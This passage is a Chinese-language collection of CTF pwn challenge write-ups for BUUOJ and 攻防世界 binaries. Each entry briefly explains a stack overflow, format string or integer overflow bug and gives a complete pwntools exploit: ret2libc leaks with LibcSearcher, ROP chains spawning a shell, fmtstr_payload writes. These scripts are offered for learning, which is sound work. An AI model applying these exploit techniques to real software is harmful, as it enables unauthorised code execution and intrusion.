4
5
6
7
libibase=puts_add-libc.sym['puts']
shell=0x45216+libibase
#0x45216是上面one_gadget 获取到的
payload=b'a'*(0x90-8)+p64(canary)+b'b'*8+p64(shell)
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')

攻防世界pwn-200

程序没用关键字内容,ret2libc

有read的溢出点

1
2
3
4
5
6
7
8
9
e=ELF("./adc")
write_got=e.got['write']
write_plt=e.plt['write']
main=0x80484BE
payload=b'a'*(0x6C+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("!\n")
p.send(payload)
write=u32(p.recv(4))
print('write',hex(write))

我们可以使用LibcSearcher库中的LibcSearcher函数直接进行查找

1
2
3
4
5
libc = LibcSearcher('write',write)  
libc_base = write - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x6C+4)+p32(system_addr)+p32(main)+p32(binsh_addr)

实时数据监测

ida查看后发现有明显的格式化字符串漏洞

程序的逻辑是输入进变量s的值后对比key == 0x2223322进行提权

我们可以使用格式化字符串漏洞的对key的值进行修改

查看别的师傅的wp学习到

fmtstr_payload是pwntools集成的模板,对于第一个参数是offest(偏移),后面是地址,和地址中写入的值

测试发现程序的偏移量为12

找到key的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('61.147.171.105',53609)#配置远程连接61.147.171.105 53609
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

key=0x804A048
payload=fmtstr_payload(12,{key:0x2223322})

p.sendline(payload)

p.interactive()#与程序交互

ciscn_2019_n_5

程序有两个溢出点

程序没有开启nx,第一反应是shellcode,但是shellcode本地可以打通,远程打不通

转换思路为libc泄漏

程序有很多的puts,将puts泄漏后计算偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',25831)#配置远程连接node5.buuoj.cn:25831
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

e=ELF("./ciscn_2019_n_5")
puts_got=e.got['puts']
puts_plt=e.plt['puts']
ret=0x4004c9
rdi=0x400713
main_add=0x400636
p.sendlineafter(b'name\n',b'123')

payload=b'a'*(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendlineafter(b'say to me?\n',payload)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

libc = LibcSearcher('puts',puts_add)
libc_base = puts_add - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'name\n',b'123')

payload=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter(b'say to me?\n',payload)
p.interactive()#与程序交互

ciscn_2019_en_2

在ida中我们可以看到输入1后会进入encrypt函数中

函数中还有一个明显的溢出点

程序没用system binsh关键字,使用libc泄漏获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',29796)#配置远程连接node5.buuoj.cn:29796
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)
e=ELF("./ciscn_2019_en_2")
puts_got=e.got['puts']
puts_plt=e.plt['puts']
main=0x400B28
ret=0x4006b9
rdi=0x400c83

p.sendlineafter(b'choice!\n',b'1')

payload=b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter(b'be encrypted',payload)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

libc = LibcSearcher('puts',puts_add)
libc_base = puts_add - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

p.sendlineafter(b'choice!\n',b'1')

payload=b'a'*(0x50+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter(b'be encrypted',payload)
p.interactive()#与程序交互

ciscn_2019_ne_5

ida打开后可以看到程序是输入进行选择程序点

输入0:

关闭程序

输入1:

可以输入128个字节长度的值到a1中也就是src中

输入2:

打印s的内容也就是src的内容

输入3:

会输出Printing,其中system可以被我们进行使用

输入4:

会将src的值赋值给dest

其中dest大小为48,src可以输入128大小,可以利用src对dest进行栈溢出

其中我们有了system但是还缺少binsh或者sh

可以使用

:::info
ROPgadget –binary ciscn_2019_ne_5 –string “sh”

:::

查询程序中是否有sh关键字内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',27006)#配置远程连接node5.buuoj.cn:27006
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

p.sendlineafter(b'password:',b'administrator')

p.sendlineafter(b':',b'1')

system=0x80484D0
sh=0x80482ea
main=0x8048722
payload=b'a'*(0x48+4)+p32(system)+p32(main)+p32(sh)

p.sendline(payload)

p.sendlineafter(b':',b'4')

p.interactive()#与程序交互

铁人三项(第五赛区)_2018_rop

ida打开可以看到只有 write输出

vulnerable_functio函数中又明显的溢出点

程序没用其他的东西

除了nx以外没用开其他的保护

使用32位write泄漏libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',25843)#配置远程连接node5.buuoj.cn:25843
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)


main_add=0x80484C6
e=ELF("./2018_rop")
write_got=e.got['write']
write_plt=e.plt['write']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)
write=u32(p.recv(4))
print('write',hex(write))

libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x88+4)+p32(system_addr)+p32(main_add)+p32(binsh_addr)
p.sendline(payload)
p.interactive()#与程序交互

bjdctf_2020_babystack2

ida 打开后可以发现有溢出点,但是要先绕过if判断,并且nbytes要大于10才可以进行溢出

此时可以发现。17行使用的nbytes的是int型而23行使用的是无符号整型,可以使用整数溢出,,输入-1绕过if

程序也有明显的后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',27778)#配置远程连接node5.buuoj.cn:27778
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

br=0x400726

p.sendlineafter(b'your name:\n',b'-1')

payload=b'a'*(0x10+8)+p64(br)

p.sendline(payload)

p.interactive()#与程序交互

bjdctf_2020_babyrop

ida打开后发现只有puts和read函数,没有其他的system和binsh

简单的libc泄漏put

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import * #引用pwntools库
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',28548)#配置远程连接node5.buuoj.cn:25831node5.buuoj.cn:28548
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

e=ELF("./bjdctf_2020_babyrop")
puts_got=e.got['puts']
puts_plt=e.plt['puts']
ret=0x4004c9
rdi=0x400733
main_add=0x4006AD

payload=b'a'*(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.sendlineafter(b'me u story!\n',payload)
puts_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add',hex(puts_add))

libc = LibcSearcher('puts',puts_add)
libc_base = puts_add - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')



payload=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter(b'me u story!\n',payload)
p.interactive()#与程序交互

jarvisoj_fm

ida打开可以发现程序需要x==4才可以提权,且buf无法溢出,但是第10行可以看到是有格式化字符串的漏洞,我们可以通过%n的方式修改n的值

通过尝试可以看到偏移量为11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debuga',arch='i386',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',28641)#配置远程连接node5.buuoj.cn:28641
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

x_add=0x804A02C
payload=p32(x_add)+b'%11$n'

p.sendline(payload)

p.interactive()#与程序交互

jarvisoj_tell_me_something

ida打开后可以发现有明显的溢出点

函数good_game是读取到flag.txt的内容赋值到v0并且通过buf进行输出,所以我们只需要将程序溢出后覆盖返回地址为good_game即可

但是程序汇编代码中我们可以看到rsp-0x88,最后也是rsp+0x88并没用使用到rbp,所以构造exp的时候不需要进行+8的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('node5.buuoj.cn',26004)#配置远程连接node5.buuoj.cn:26004
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

br=0x400620
payload=b'a'*(0x88)+p64(br)

p.sendline(payload)

p.interactive()#与程序交互